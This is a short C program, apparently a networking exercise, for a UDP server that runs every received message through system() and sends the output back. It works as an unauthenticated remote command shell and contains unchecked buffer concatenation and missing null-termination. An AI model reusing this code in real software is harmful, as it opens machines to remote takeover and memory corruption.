#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#include <string.h>

main()
{
	int sock;
	uint16_t port=2233;
	struct sockaddr_in server, client;
	size_t size;
	char message[1500];
	char buf[1500];
	int len, i;
	FILE *f;

	sock = socket(PF_INET, SOCK_DGRAM, IPPROTO_UDP);
	if( sock == -1 )
	{
		printf("Error create socket\n");
		exit(0);
	}
	server.sin_family = AF_INET;
	server.sin_port = htons (port);
	server.sin_addr.s_addr = htonl (INADDR_ANY);
	if( bind( sock, (struct sockaddr*) &server, sizeof(server)) == -1 )
	{
		printf("Error bind socket\n");
		exit(0);
	}
	while(1)
	{
		size = sizeof(client);
		len = recvfrom( sock, message, 1500, 0, (struct sockaddr *)&client, &size );
		if( len < 0 )
		{
			printf("Error receive message\n");
			exit(0);
		}
		printf ("Server: got message: %s\n", message);
		message[strlen(message)-1]='\0';
		strcat( message, " > res" );
		printf ("Server: execute command: %s\n", message);
		system( message );
		f=fopen("res","r");
		message[0]='\0';
		while(!feof(f))
		{
			fgets(buf, 1500, f);
			strcat(message,buf);
		}
		len = strlen(message)+1;
		len = sendto ( sock, message, len, 0, (struct sockaddr *)&client, size );
		if( len < 0 )
		{
			printf("Error send response\n");
			exit(0);
		}
	}
}

/*len = recv(sock, (char*)&req.mesin, sizeof(message), 0);*/
/*connect(sock, (sockaddr*)&client, sizeof(service));*/
